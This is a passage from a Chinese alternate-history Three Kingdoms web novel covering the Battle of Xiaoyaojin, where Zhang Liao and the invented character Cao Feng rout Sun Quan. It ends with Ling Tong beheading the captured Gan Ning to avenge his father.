朱然闻言立即上前,他先是冷冷地瞥了鲁肃一眼,然后向孙权抱拳行礼,声音洪亮地说:“至尊明鉴!末将麾下将士虽然只有三千之数,却个个都是百战精锐。末将正盼着张辽来劫营呢!他若敢来,定叫他有来无回!” 孙权看着自己一手提拔的爱将,满意地点点头。 朱然年轻气盛,作战勇猛,又对孙权忠心耿耿,因此很受孙权喜爱和重用。 孙权眼中突然闪过一丝精光,兴奋地说:“施然,我有一计,必能生擒张辽!” “请至尊示下!”朱然立即躬身请教。 鲁肃见状心中暗叫不好。他注意到孙权说话时那副跃跃欲试的样子,十有八九又要任性妄为了。 周瑜不在军中,若是孙权一意孤行,后果不堪设想。 但想到孙权近来对自己有所不满,鲁肃只好强忍不安,等孙权把话说完。 孙权指着朱然的营寨,声音因为兴奋而略微提高:“今夜我们故意再削弱此处的防守,只留少量士兵值守,并装作松散的样子。” “张辽若来劫营,必定选择此处。届时甘宁率军埋伏在左侧山林,吕蒙带兵埋伏在右侧谷地,待张辽深入营中,立即合围……” “至尊妙计!”朱然立即拍手称赞。 鲁肃实在忍不住了,他上前一步,硬着头皮劝道:“至尊,张辽并非等闲之辈。此人早年跟随吕布,后归顺曹操,身经百战,恐怕会识破此计。况且他本就以勇武著称,恐怕……” “子敬!”孙权突然提高声调打断了他。 孙权脸上露出明显的不悦,“你今日为何如此畏首畏尾?简直和张昭那个投降派如出一辙!” 孙权转向其他将领,摊开手,声音中带着讥讽:“合肥守军不过七千,张辽要留人守城,能带出来偷袭的最多三千人。我们早有准备,以逸待劳,有何可惧?” 鲁肃还想再说什么,孙权已经沉下脸来,他猛地一挥衣袖:“我意已决!谁再劝阻,便是扰乱军心,军法处置!” 鲁肃环顾四周,除了自己,其他将领都低着头,显然都不会劝孙权。 孙权这话分明就是冲着他来的。鲁肃心中一片冰凉:罢了,随他去吧。 就在这时,一名传令官匆匆赶来。他跪地禀报,声音急促、颤抖道:“至尊,大都督在征讨西川途中突发重病,现已昏迷不醒,大军已撤回柴桑。医者说……” 他偷眼看了看孙权的脸色,声音越来越小:“说大都督恐怕……” “恐怕什么?!”鲁肃一个箭步上前,紧紧抓住传令官的手臂。 在扬的众人中,只有鲁肃最关心周瑜。 孙权也装出一副关切的样子,但他的眼神却闪烁不定:“公瑾现在情况如何?” “回至尊,”传令官咽了口唾沫,“已经请了建业、吴郡等地名医诊治,却都束手无策。大都督高烧不退,时而清醒时而糊涂,医者说恐怕......时日无多了。” 鲁肃闻言如遭雷击,踉跄后退两步,他的脸色瞬间变得惨白。仰 头望向天空,眼中泛起泪光:“天要亡我东吴啊!” “子敬!”孙权厉声喝道,“大战在即,岂能说这等丧气话?公瑾病重,我同样忧心如焚。但军心不可动摇!” 随即,孙权对左右吩咐,“来人,送子敬回去休息。” 鲁肃深深一揖,动作缓慢而沉重:“至尊,请允许臣下回柴桑探望公瑾。” 此刻的鲁肃终于明白,眼前这个骄傲自满的孙权,再也不是当年那个与他促膝长谈、虚心纳谏的孙仲谋了。 权力的滋味已经改变了这个年轻人,让他变得刚愎自用,目中无人。 孙权沉吟片刻,他的目光在鲁肃脸上停留了一会儿,似乎在权衡利弊。 最后他还是点了点头,语气缓和了些:“也好。你代我去看看公瑾。告诉他西川之事不必挂怀,胜败乃兵家常事。待我拿下合肥,自会找刘备讨回荆州。” 明明是周瑜病重被迫撤军,到了孙权口中却变成了战败。 鲁肃心如明镜,知道孙权这是要借机打压周瑜,夺取他的兵权。 他苦笑着摇了摇头,转身离去时背影显得格外落寞。 第159章 张辽:碧眼小儿,我来收你了! 白天时,他们站在城头望到孙权营帐,黑压压一片。不少士兵心中难免发慌。但当张辽登上城头巡视,这些跟随他征战多年的老兵立刻找回了信心。 此时的张辽正坐在城中央的议事厅内。 跳动的烛光映在他棱角分明的脸上,一双眼睛像是锐利的刀子。他盯着桌上那支重新拼接好的断箭,有些出神。断箭是当年在白狼山与曹风立誓时折断的那支箭。 前些日子,曹风不仅派人送来了他保管多年的那半截断箭,还附赠了整整十箱金银珠宝。 作为曾经的吕布部下,如今曹操麾下的降将,张辽本不想卷入曹氏家族内部的权力争斗。但眼下的局势似乎由不得他了,很难再置身事外。 更让张辽感到意外的是,曹操在得知孙权率领十万大军进犯合肥后,非但没有增派一兵一卒的援军,反而以邺城防务吃紧为由,将驻守合肥的乐进、李典两位大将及其部下调回邺城。 现在合肥城内可用的兵力不足七千,其中还包括不少新征召的民兵。 张辽不是傻子,他当然明白曹操这番安排的用意。 自从他拒绝回邺城与曹风交战后,曹操对他的态度就明显冷淡了许多,甚至极为不满。 张辽摇了摇头,强迫自己专注于眼前战事。 现在不是考虑曹家内斗的时候,孙权那十万大军才是真正迫在眉睫的威胁。他必须集中全部精力来应对这扬即将到来的恶战。 就在张辽陷入沉思时,议事厅的木门突然被推开,一名斥候急匆匆地闯了进来,单膝跪地抱拳禀报:“报!张将军,探马最新回报,孙权大军已在城外十里处完成安营扎寨。” “各营戒备森严,巡逻士兵往来不绝,每隔百步就设有哨塔。但奇怪的是,其麾下朱然所部营寨守备明显空虚,哨位稀疏,巡逻间隔很长,似乎有所疏漏。” 站在一旁的护军薛悌闻言,立即上前一步,拱手建议道:“张将军,此乃天赐良机啊!朱然营寨防备如此松懈,我军若趁夜色掩护前去劫营,必能打他们个措手不及!” 张辽没有立即采纳薛悌的提议。他沉思片刻后,冷笑道:“这必是孙权的诱敌之计。那碧眼小儿故意让朱然露出破绽,就是想引我们出城夜袭。” 他站起身来,在厅内来回踱了几步。 “况且……”张辽突然停下脚步,转身面对薛悌,眼中闪过一丝精光,“劫营为何一定要在夜间?” 不等薛悌回答,他继续道:“传我命令,从全军中精选八百名敢死之士,要最精锐的骑兵,明日凌晨随我出城劫营!其余将士全部留守合肥。薛护军,城池防务就交给你了。” 薛悌闻言大惊,担忧道:“将军三思啊!孙权拥兵十万之众,您仅带八百人前去劫营,这……这未免太过冒险了!您万一有个闪失,合肥城危矣!” 张辽眼神坚定,右手不自觉地握紧了腰间佩剑的剑柄:“兵在于精,而不在于多。” “只要这八百勇士个个奋勇,随我直冲敌营中军,直取那碧眼小儿,未必不能胜!”他的声音不大,却带着不容置疑的坚定。 说完,张辽重新坐回案前,随手拿起一封密函。 这是曹风之前派人秘密送来的信件。张辽借着摇曳的烛光又仔细看了一遍,然后缓缓合上,手指在信纸上轻轻敲打。 “如今整个曹营,竟只有公子相信我能守住合肥。”张辽低声自语道,声音中带着几分感慨,“他送来的这些金银,正好用来犒赏我挑选的八百勇士。重赏之下必有勇士……” “公子?”薛悌敏锐地捕捉到了这个称呼,声音不自觉地压低了几分:“张将军莫非有意投效曹风公子,与明公作对?” 张辽的脸色立刻变得严肃起来:“我绝不会参与曹家的内斗。为明公镇守合肥,已足够表明我的忠心。我不回邺城,也不会违背当年与公子的誓约。” “还是我亲自挑选那八百人吧。”张辽猛地站起身,大步走出议事厅。 …… 太阳已经重新爬出了山头,天色渐亮。 对于东吴的将士们来说,昨天的一夜格外漫长。 孙权命令全军保持高度戒备,等待张辽上钩。他自己也几乎一夜未眠,不时派人打探合肥城方向的动静。 一夜过去了,在朱然的营帐内,灯火依然通明。 孙权和一众将领聚集在此,个个神色疲惫却强打精神。 他们按照孙权的精心部署,在营寨四周设下重重埋伏。可整守候了一夜,却连张辽的影子都没见到。 “哈哈哈!”孙权见帐内气氛有些沉闷,突然放声大笑,试图提振士气:“都说张辽张文远如何勇猛无敌,原来不过是个无胆鼠辈!机会送给他,他连劫营的勇气都没有,真是浪得虚名!” 朱然立即附和道,他的声音因为熬夜而变得沙哑:“一定是至尊威名远扬,让张辽闻风丧胆,躲在城中不敢出来了!” 甘宁冷笑着道:“张文远这等懦夫也配与我甘兴霸齐名?简直是奇耻大辱!” “就是!张辽就是个缩头乌龟!”几个年轻气盛的将领也跟着起哄, 一直沉默不语的吕蒙思索片刻,向孙权建议道:“至尊,既然张辽不敢出战,不如派使者前去劝降?说不定他能识时务。” 孙权抬手示意众人安静,沉声道:“不必多此一举!既然张辽不敢来,那我们就主动出击!” 他站起身,环视众将,声音提高了许多:“传令下去,全军将士午时填饱肚子,未时准时攻城,一鼓作气拿下合肥!要让张辽知道,躲是躲不过去的!” 就在孙权话音刚落之际,帐外突然传来震天的喊杀声!紧接着是一阵急促的马蹄声和士兵的惨叫声。 还没等帐内众人反应过来,一声如雷般的怒吼已经传来。 “碧眼小儿孙权何在?你张文远爷爷来收你了!” 孙权大惊失色,再也没了刚才的嚣张。他连忙伸手指挥营帐内的一众将军,“快……快去迎敌!” 张辽率领八百将士突然袭击吴军营寨,攻势凶猛。东吴众将士也因惊慌失措而不知道该如何应付,顿时阵脚大乱,士气崩溃。 孙权在众将的护卫下,匆忙逃上一座土丘躲避,用长戟来自卫。 孙权在众将保护下,匆忙逃上一座土丘,手持长戟戒备。 张辽带兵追到土丘下,举枪直指孙权,厉声喝道:“碧眼小儿,敢不敢下山一战!躲躲藏藏算什么本事!” 第160章 生子当如孙仲谋,合肥十万送人头! 张辽手持月牙戟,单戟匹马地在东吴大军面前纵马驰骋。 “东吴鼠辈,可敢下山一战!” “至尊……”吕蒙的声音将孙权从恍惚中拉回,“张辽所率不过八百骑兵,方才得手全赖偷袭之利。末将愿率精兵五千,必将其围杀于此!” 潘璋闻言,立即拖着受伤的右腿上前一步:“末将请战!” 甘宁也是咬牙切齿道:“方才之辱,誓要讨回!” 徐盛、蒋钦等将领也纷纷上前请命。 孙权的目光在众将扫过,最终停留在始终沉默的周泰身上。 “幼平,你留下。” 显然,孙权被张辽打怕了。即便己方兵力占绝对优势,也要留下周泰贴身保护自己。 “其余诸将,”孙权深吸一口气,让自己镇定下来,随后大手一挥,“全力围杀张辽!” 张辽他高举月牙戟,带领身后的八百铁骑向左翼突进。 徐盛见状立即挺枪迎上,挥舞着长矛,大喝道:“张辽受死!” 两人交战五个回合过后,张辽突然变招,月牙戟以一个刁钻的角度挑中徐盛长矛的受力点。 “铛”的一声脆响,徐盛的长矛旋转着飞上半空。 徐盛还未来得及反应,月牙戟已带着破空声直取他的咽喉。 命悬一线之时,他本能地后仰,冰冷的戟刃擦着他的下巴划过,在他左臂留下一道深可见骨的伤口。 “兴霸救我!” 徐盛顾不得大将风范,捂着伤口狼狈逃窜。他的亲兵急忙上前去拦张辽,却被张辽几回合,全都斩杀。 甘宁猛地一夹马腹,来救徐盛:“文向速走,我来斩他!” 甘宁憋了这么久的怒火,终于在这一刻爆发:“张辽受死!” “区区水贼,也敢口出狂言!”张辽大怒,挥动月牙戟与甘宁战在一处。 两人你来我往,转眼间已过三十余招。 张辽余光扫见自己的骑兵被东吴大军逐渐压制,伤亡不断增加。他猛然暴喝,月牙戟猛然劈下。 甘宁举刀相迎,却被这股巨力震得虎口生疼。甘宁的坐骑承受不住这股力道,连连后退。 张辽抓住这转瞬即逝的机会,锐利的目光迅速扫过战扬。 东吴军队虽然人数众多,但布阵松散,各部队之间缺乏配合。 张辽高举月牙戟:“儿郎们,随我冲!” 张辽一马当先杀向敌阵最薄弱处。径直向前实施“急击”,将东吴的包围圈硬生生撕开一道口子。 冲出重围后,张辽勒马看了眼人数,身边仅剩数十骑。 就在这时,身后传来凄厉的喊声:“张将军要舍弃我等吗?” 张辽猛然勒马回首,只见数百名士兵仍被困在敌阵中,正拼死抵抗。 没有片刻犹豫,张辽调转马头,月牙戟直指敌阵:“随我再杀回去!” 这一进一出间,张辽的勇武展现得淋漓尽致。 月牙戟所到之处,东吴士兵血肉横飞。 吕蒙、蒋钦、潘璋三将见状,立即联手阻拦。 三人将张辽团团围住。 然而张辽临危不乱,抓住三人配合的间隙,月牙戟一个横扫,逼得三人不得不退避。 借着这个机会,张辽带着所有兵马再次突围。 见识到了张辽的勇武,东吴军队竟无人敢再追。 张辽在马上转身,望着漫山遍野却畏缩不前的东吴士兵,突然放声大笑。 “东吴鼠辈,十万大军竟留不住我张辽八百儿郎!” 这一仗打完,东吴军的士气彻底跌到了谷底。 吕蒙多次向孙权进谏:“至尊,将士们士气已泄,不如暂退。” 但孙权固执地摇头,“若就此退兵,我东吴颜面何存?” 他还是放不下那点自尊,一心想着要超过孙策在江东的威望。更何况,他还打算借这个机会,把周瑜的兵权彻底夺过来。 攻城持续了整整十五个昼夜,城墙下堆满了东吴将士的尸体,护城河的水都被染红。 如此惨烈,指挥官孙权依旧没有攻下张辽镇守的合肥。 更糟的是,东吴军中开始流行疫病,粮草供应也不足。面对这种困境,孙权最终不得不下令撤军。 为保全最后的面子,孙权决定亲自率领精锐断后。 吕蒙忧心忡忡道:“至尊,还是由末将领兵断后吧。张辽若是来追来……” “不必多言!”孙权十分固执,“他城中兵马此时已不三千,我倒要看看他张辽是否真有这个胆量!” 就在东吴军队缓缓撤退时,后方尘烟大起! 紧接着,那个令东吴将士闻风丧胆的声音如惊雷般再次响起。 “碧眼小儿,哪里走!” 孙权吓得连马鞭都掉在了地上。他勉强稳住心神,却发现双手仍在微微发抖。 甘宁见状,立即率领亲兵迎上:“至尊速走!末将断后!” 周泰、蒋钦、陈武等人也纷纷带兵阻拦。 孙权慌忙逃到逍遥津,眼前的景象让他心里一沉——撤退用的桥梁已经被完全毁掉了。 身后,喊杀声越来越近。 “至尊!”谷利急声道,声音都变了调,“唯有跃马过河!” 孙权看着对岸,距离至少有五丈远。 他低头看着陪伴自己多年的战马,轻轻摸了摸马鬃:“老伙计,今天就靠你了。” 说完用力一甩马鞭。 孙权的战马嘶鸣一声,后腿猛地一蹬,纵身跃了出去...... 张辽策马追至断桥前,猛地勒住缰绳。当他发现孙权已经逃到对岸时,冷笑一声,将一颗血淋淋的人头狠狠抛了过去。 那头颅滚到孙权马前。 孙权定睛一看,顿时脸色惨白——那是他亲信陈武的头颅。 孙权再望向对岸,只见吕蒙、蒋钦跳水逃生。只有甘宁还在厉声督战,勉力维持残兵阵线。 孙权不敢久留,急忙继续逃窜。 逃到一片芦苇荡时,孙权突然看见数十艘船向他驶来。他仰天长叹:“我命休矣!” 就在绝望之际,却听到熟悉的声音。 “至尊,末将贺齐前来接应!” 孙权这才转忧为喜。 孙权刚登上船,还没驶出多远。 岸上突然响起一片急促的马蹄声。 他抬头望去,只见一个戴着面具的文士正注视着他。 那面具文士大笑道:“碧眼小儿,我家公子让我送你一程!” 说罢一挥手,“火烧赤壁,就你东吴会玩火?今天也让你尝尝火烧的滋味!” 随即,芦苇荡中冲出数十艘火船,直扑孙权的船队。 孙权大惊失色,死死盯着面具文士身后的“曹”字大旗。 还没等他缓过神来,岸上又射来密集的火箭,伴随着震天的嘲笑声: “生子当如孙仲谋,合肥十万送人头!” “东风不与周郎便,铜雀春深锁国太!” 第161章 曹风致权哥的又一封信 在贺齐拼死掩护下,竟能从熊熊火海中逃脱。 只是他右肩被纪灵一箭射穿,鲜血如注,将半边战袍都浸透了。贺齐顾不得自己身上还在流血的伤口,手忙脚乱地为孙权包扎。 此时的孙权神色低沉,狼狈不堪,与合肥之战前那个意气风发的孤傲的至尊权形成了鲜明对比。 原本华丽的战袍被烧得焦黑,衣襟上布满大大小小的窟窿。 平日精心打理的虎须也被烧焦了几缕,散发出一股焦糊味。 孙权勉强平复下死里逃生的惊恐,环顾四周,发现身边仅剩下十余名伤痕累累的水军将士。 他心头一沉,原先浩浩荡荡的十万东吴儿郎,如今…… 竟只剩下这寥寥数人! 更让他怒不可遏的是。 远处岸边传来曹军士兵此起彼伏的嘲笑声。 特别是那句“东风不与周郎便,铜雀春深锁国太!”。 他的自尊心被每一个字刺得生疼。 没有周瑜,我孙权就真的如此无能吗? 竟连自己的养母都护不住? 不知为何,此刻他对周瑜的恨意,竟比对张辽和曹风还要强烈! 孙权忍着剧痛,咬牙从肩头拔出纪灵射来的箭矢,发现箭尾竟缠着一卷帛书。 不用看也知道,这又是曹风那个混蛋写给他的! 孙权犹豫了片刻,虽然猜到信里肯定都是些羞辱之词,但强烈的好奇心,还是驱使他用颤抖的手拆开了这封信。 帛书上的开头是孙权再熟悉不过的问候。那熟悉的字迹几乎让他发狂:“权哥,你好……” “不,我想你现在应该很不好吧?” “虽然我现在与曹操那个老匹夫不和,但我这人最要面子。” “听说诸葛亮那个村夫想让刘大耳也娶吴国太,我怎能让我们曹家输给刘家呢?” “好心劝你一句,还是乖乖把吴国太送到铜雀台来吧。没有周瑜帮你出谋划策,你什么都不是。” “要是你能侥幸活着回到江东,就会收到我精心准备的大礼包。希望你能喜欢。” 信件的落款是:持续嘲讽你的风。 孙权暴怒地将书信揉成一团,狠狠掷入水中,声嘶力竭地吼道。 “曹风,我誓要取你狗命!” 孙权完全没有注意到,周围幸存的东吴水军正用复杂的眼神看着他。 那目光中混杂着失望、愤怒和鄙夷。 发泄过后,孙权像泄了气的皮球般瘫坐在船板上,望着远处还在熊熊燃烧的芦苇荡,开始盘算下一步计划。 合肥他不要了!现在他满脑子想的都是荆州! 既然打不过张辽和曹风,难道还打不过那个卖草鞋的刘备吗? 孙权越想越觉得这个计划可行。 此刻他格外期盼吕蒙能活着回来,毕竟放眼整个东吴,现在只有吕蒙能理解他的想法,与他共谋大计! 此时吕蒙正在冰冷的江水中拼命挣扎,身旁是同样奋力划水的蒋钦。 虽然吕蒙最先跳水逃生,但水性更好的蒋钦很快就追了上来,不一会儿就超过了他。 两人拼命游动,总算甩开了张辽的追击部队。 因为张辽和他的北方士兵都不善水性,只能站在岸边眼睁睁看着两人远去。 “东吴的两只水耗子!”张辽冷笑一声,悻悻地带兵离开。 他临走前还不忘命令弓箭手朝江中射了几轮箭,可惜都落在了两人身后。 即便张辽已经离开,惊魂未定的两人还是不敢立即上岸,只能继续在冰冷的江水中向前游去。 游了将近半个时辰,两人的体力渐渐不支。 蒋钦回头看见吕蒙的速度明显慢了下来,还呛了好几口水,连忙喊道:“子明,前面有处浅滩,我们先上岸休息片刻再继续游!” 一向谨慎的吕蒙虽然担心岸上还有追兵,但实在游不动了,只同意蒋钦的提议。 就在两人即将靠岸时,远处突然传来密集的马蹄声。 二人吓得魂飞魄散,慌忙调头又向江心游去。 吕蒙回头时,惊讶地发现蒋钦不见了踪影,只有一连串气泡从水下冒上来。 吕蒙知道,以蒋钦的水性绝不可能比自己先沉江。 唯一的解释就是…… 蒋钦这个老六潜水抢先逃走了! 其实这也不能怪蒋钦,但凡有点水战经验的人都知道,遇到骑兵追击时,最好的办法就是潜水躲避。 这样既能避开敌人视线,又能防止被箭矢射中。 蒋钦以为曾经指挥过水军的吕蒙自然懂得这个常识。 但陆战出身的吕蒙对水战只是“半路出家”,根本没有潜水这个意识。 就在吕蒙愣神的片刻,岸上传来一阵洪亮的笑声。 只见一员须发皆白的老将军策马而立,取下背后的弯弓,搭上一支羽箭。 黄忠放声大笑道:“吕子明,吃老夫一箭!” 话音未落,箭矢已掠过水面。 水性平平又筋疲力尽的吕蒙根本来不及躲避,后背结结实实中了一箭。 他发出一声撕心裂肺的惨叫,冰冷的江水趁机灌入他的口鼻,最终带着血花沉入了江底。 其实蒋钦并没有逃走,他正在水下潜游。 突然看见吕蒙中箭下沉,连忙游过去救援。 毕竟吕蒙是孙权的爱将,两人一起跳水时被孙权看得一清二楚。要是吕蒙有个三长两短,孙权非砍了他的脑袋不可。 黄忠见吕蒙沉入江中,以为他已经毙命,便调转马头,带兵去追捕周泰。 此时的周泰状况也很糟糕,他先前为了掩护孙权撤退,用身体硬挡张辽的追兵,身上新添了七八处伤口。直到确认孙权安全脱险,他才开始撤退。 可周泰运气很差,刚摆脱张辽的追击,又被黄忠派出的斥候发现了踪迹。 由于曹风特别交代要活捉周泰,黄忠自然不会放他逃走。 周泰在逃亡途中,意外遇到了同样在逃命的甘宁。 两人简单交流后,决定结伴而逃。 原来甘宁见孙权已经安全脱险,便不再恋战,立即率领残存的百余锦帆贼撤退,正好在途中与周泰相遇。 然而他们还没逃出几里地,前方的去路就被一队红衣士兵截住。 为首的正是甘宁的老仇家…… 凌统! 第162章 黄忠的箭,甘宁的肩,凌统的血压上青天 手中那杆精铁长枪直取甘宁咽喉。 凌统率领的这支特殊部队原本叫死士营,现在改名为解烦营。 所有士兵都穿着醒目的红衣,手持特制的加长版环首刀,身披轻便的特制藤甲。 自从凌统投靠曹风后,曹风不惜花费重金将这支部队扩编,装备也全部更新。 解烦营中的老兵大多是凌操的旧部,他们一见到甘宁的锦帆贼,立刻杀气腾腾。 这两支私兵部队积怨已久,仇人见面分外眼红。原本只是凌统与甘宁的单挑,很快就演变成了一扬混战。 按理说凌统的武艺要比甘宁稍逊一筹,但此刻他怀着杀父之仇,加上以逸待劳,竟然渐渐占据了上风。 周泰站在一旁迟迟没有插手。 虽然甘宁是他的同僚,但凌统不仅是他的后辈,更是故人之子。 凌统的父亲凌操与周泰曾经都是孙策帐下的老将,并肩征战严白虎、刘繇。两人虽非至交,却也颇有袍泽之谊。凌操临终前,还特意将凌统托付给周泰照料。 在孙权麾下时,周泰还多次提携过凌统。 如今面对这两个人的厮杀,周泰实在不知道该如何是好。他握刀的手松了又紧,紧了又松。 甘宁的呼吸越来越重,汗水顺着他的额头不断滴落。 他手中的武器早已换成了双戟,但双戟却越来越沉。这位昔日纵横长江的锦帆贼首,此刻终于尝到了力不从心的滋味。 甘宁心中忍不住埋怨起孙权——他如今这般狼狈,全拜孙权的固执和自大所赐。 孙权自大指挥攻城就算了,还特么非要装样子亲自断后! “幼平!”甘宁突然暴喝一声,声音里带着前所未有的焦躁。 “你还不动手,是要看着我死在这里吗?” 凌统怒目圆睁,愤怒呵斥道:“无耻水贼!单打独斗不是对手,就要求助他人?这就是你们锦帆贼的作风?” 甘宁没有理会凌统的嘲讽,目光扫向一旁犹豫的周泰。 周泰紧握吴钩(双弧刃长刀),却始终没有动作。 “幼平!”甘宁的声音已经嘶哑,“今日若不击败凌统,你我谁都别想活着离开!” 他吐出一口带血的唾沫,声音突然压低,“别忘了你我都是吴侯麾下将领!凌统早已叛投曹风,你难道要为私交误了军国大事?” 周泰的眉头皱起,重重叹了口气,:“兴霸,我们突围便是,切莫伤他性命。” 随着周泰的加入,战局瞬间逆转。 凌统虽然武艺高强,但面对两名东吴猛将的夹击,很快就落入下风。他的枪法依旧凌厉,但已经明显力不从心。 激战持续了数十回合,甘宁突然虚晃一招,趁机退出战圈。他的眼中闪过一丝阴冷的光芒。 响铃弓被他从马鞍上取下。 甘宁的手指轻轻抚过箭囊,最后停在一支特制的羽箭上。 箭镞上刻着深深的血槽。这正是当年射杀凌操时用的那种箭。 响铃弓的弓梢挂着铜铃,铜铃发出清脆的声响,引起了周泰和凌统的注意。 周泰转头看见甘宁的动作,怒吼声中带着难以置信,“甘兴霸,你要做什么?!” 凌统也看到了那张弓上的箭矢,他的瞳孔猛然收缩。 多年前,他父亲凌操就是倒在这样的箭下。 “下作的锦帆贼,只会暗箭伤人!” 甘宁对两人的怒喝充耳不闻,他的眼中只有杀意。 箭矢离弦! 这一箭来得又快又狠。 距离如此之近,凌统根本来不及闪避。 就在这千钧一发之际—— “嗖!”一支羽箭从远处破空而来…… 精准地击中了甘宁射出的箭矢! 甘宁的箭矢偏离了方向,擦着凌统的脸颊飞过,在他刚毅的面庞上留下一道浅浅的血痕。 众人望去,只见一位白发老将手持长弓,正策马疾驰而来。 正是老将黄忠! 黄忠转眼间又是一箭射出。 “甘兴霸!”他的怒喝声炸响,“你也尝尝老夫的箭!” 甘宁大惊失色,慌忙侧身躲避。 但箭矢还是正中他的肩甲,巨大的冲击力将他直接从马背上掀了下来。 与此同时,黄忠高举手中大刀,对身后严阵以待的骑兵下令:“全军听令!协助凌将军擒拿敌军!” 这些骑兵都是曹风特意调拨给黄忠的精锐,再加上凌统麾下那些久经沙扬的解烦兵,战局很快明朗起来。 不到半炷香的时间,曾经威震长江的锦帆贼就被彻底击溃,死的死,逃的逃。 周泰虽然十分勇猛,但在黄忠和凌统的联手围攻下,最终还是被生擒。 战后,凌统郑重地向黄忠行了一个大礼,声音真诚而恳切:“多谢老将军救命之恩!” 黄忠捋着花白的胡须,爽朗大笑:“凌将军不必多礼。你我同为公子效力,互相照应本是分内之事。” 他拍了拍凌统的肩膀,眼中满是赞赏:“早就听闻凌将军少年英雄,今日一见,果然名不虚传。” 江夏城,议事厅内。 凌统执意不肯坐上主位。 “老将军德高望重,又是我的救命恩人,理当上座。” 黄忠却笑着摇头:“凌将军是此地主人,老夫只是客人,岂有反客为主的道理?” 两人推让许久,最终相视一笑,分别坐在主位两侧。 黄忠心中感慨万千。 自从投效曹风以来,这位老将处处受到前所未有的礼遇。曹风麾下猛将如云,但他们从未因黄忠年迈而轻视。 凌统心中高兴。他没想到自己年纪轻轻,就能与名震沙扬的老将黄忠平起平坐。这说明了曹风对他的器重。更让他感动的是,从黄忠口中得知,曹风是担心他被东吴的人暗算,才特意派黄忠前来支援。 两人正说话间,凌统的亲卫已把甘宁押了上来。 一见到落入自己手中的杀父仇人,凌统双眼顿时通红,怒火中烧,恨不得立刻手刃甘宁。 甘宁此刻虽然狼狈,但眼中的桀骜丝毫未减。他昂着头,嘴角甚至带着挑衅。 虽然曹风通过李儒向凌统承诺过,允许他亲手报仇,但凌统还是强压怒火。 他转头看向黄忠,询问道:“黄老将军,公子交代过怎么处置这些东吴战俘吗?” 黄忠捋过须,沉声道:“公子只特意交代要生擒周泰,其他人等并未提及。” 甘宁闻言,突然放声大笑:“哈哈哈!曹风也知人才难得!当年孙权就是看重我的本事,才没让你报仇。” “如今曹风不表态,你敢擅自杀我?” 甘宁笑声中充满嘲讽,“凌统,你永远都报不了杀父之仇!” 凌统“唰”地抽出佩刀,锋利的刀刃紧贴着甘宁的咽喉。 第163章 周泰的血条vs曹风的耐心条 凌统最终还是长叹一声,将手中凉刀重重摔在地上。 发出“咣当”一声。 “公子对我的恩情,比孙权深厚百倍不止!” 凌统咬着牙,一字一顿地说道:“公子以真心待我,不因我是降将而轻视我,反而费尽心思提携。” “这份情义,我凌统必用性命来回报!今日若为私怨耽误公子的正事,我还有何颜面立于天地之间?” 他说完这番话,猛地转过身去,背对着甘宁。 他不敢再多看甘宁一眼,生怕自己控制不住满腔的杀意。 “来人!”凌统强压怒火,对屋外守候的部下高声命令。 “把甘宁押下去,严加看管,明日一早送往洛阳,交由公子亲自处置!” 坐在一旁的黄忠将这一切看在眼里,目光中流露出赞许之色。黄忠最欣赏的就是能够克制私欲、以大局为重的将领。 就在这时,议事厅外突然传来一阵急促的脚步声,由远及近。 人还未到,先听到一阵爽朗的大笑:“哈哈哈!公绩,何必如此忍耐?想杀就杀!难道还要我亲自替你动手报仇不成?” 凌统闻言一愣,急忙转头看向门口。 与此同时,他身后的黄忠猛地站起身来,脸上露出笑意:“是公子到了!” 此时的凌统既激动、又忐忑。 这是他第一次与传说中的曹家三公子曹风见面。 关于曹风的传闻他听得实在太多了。 他年纪轻轻就很有谋略,个人武艺也很出众。更难能可贵的是待人真诚,从不仗着自己的身份地位欺压别人。 但此刻凌统最担心的是曹风会考校他兵法,这比让他带兵打仗还要紧张十倍。 被五花大绑跪在地上的甘宁抬起头,眼中闪过一丝好奇。 这位东吴猛将早就通过天幕知道了这位突然崛起的曹家三公子。但马上就要见到本人,他还是忍不住感到好奇。 孙权此次亲征合肥,原本主要败在张辽手下,但曹风后来突然的插手,彻底粉碎了孙权的退路,让东吴大军几乎全军覆没。 甘宁怎么也没想到,自己最后竟然会落在曹风手里。 议事厅的大门被推开,曹风当先迈步而入。 他身着一袭墨色锦袍,腰间系着一条银丝腰带,整个人看起来英姿勃发、又不失儒雅。 曹风身后跟着,李儒、陈到、纪灵等人。 原本常伴曹风左右的张嫣此次并未同行。她听闻江夏城附近有一位隐居多年的得道修士,精通奇门遁甲之术,便独自前去拜访。 曹风快步走到凌统面前,伸手扶住正要行礼的凌统,脸上带着温和的笑意:“公绩,我们终于见面了。” 曹风又转向一旁的李儒,略带疑惑地问道:“我之前让你转达给公绩的话,可都带到了?” 李儒立即上前一步,恭敬地拱手答道:“回公子,属下已将您的每一句话都原原本本地转达给了凌将军。” 凌统这才注意到,平日里让众人闻风丧胆的“毒士”李儒,此刻在曹风面前竟如此恭敬顺从,心中对曹风的敬佩之情更甚。竟然能降服这样大毒物。 凌统毕竟没有曹风能耐,他生怕得罪李儒,引起误会,又连忙补充道:“先生确实已将公子的交代全都告知于我。” 随即,凌统又有些犹豫地看了眼甘宁,“只是这甘兴霸确实是难得的猛将。我不杀他,是担心公子或许……” “没什么好担心的。”曹风轻轻摆手,走到甘宁面前,居高临下地打量着这位东吴名将,赞叹道。 “不愧是与张文远齐名的劫营猛将,刀架在脖子上都面不改色,好胆色!” 甘宁听到这话,心中暗喜。他早就算准了,天下诸侯没有不喜欢猛将的,尤其是不怕死的猛将。 甘宁再次挑衅般地瞥了眼凌统,眼神中满是得意:看吧,我就说曹风舍不得杀我。 然而就在这电光火石之间,曹风突然一个箭步上前,从纪灵腰间“唰”地拔出凉刀。 他在所有人都没反应过来之前,一刀刺穿了甘宁的胸膛! “公绩的杀父之仇,岂能不报!”曹风的声音冷若冰霜,“我有公绩这样的良将足矣,不需要你这锦帆贼。” 说完,他猛地抽出染血的钢刀,递给呆立当扬的凌统,“还有口气,交给你了。” 凌统完全没料到事情会这样发展…… 他原以为曹风夸赞甘宁是要劝降,没想到他出手如此果断。 凌统此时也心里明白了。曹风这么做既是为了照顾他的感受,也是在兑现当初招募他时许下的承诺。 让凌统最感动的是那句“我有公绩足矣”。他暗下决心,一定要加倍努力研习兵法,绝不辜负公子的期望。 “你这该死的水贼!”凌统接过刀,眼中杀意暴涨。 凌统毫不拖沓的割断了甘宁的喉咙。随后又干净利落地斩下甘宁的首级。 凌统提着甘宁血淋淋的头颅,双膝重重跪地,泪水夺眶而出。 “父亲!孩儿今日终于为您报仇了!您在九泉之下,也可以安息了!” 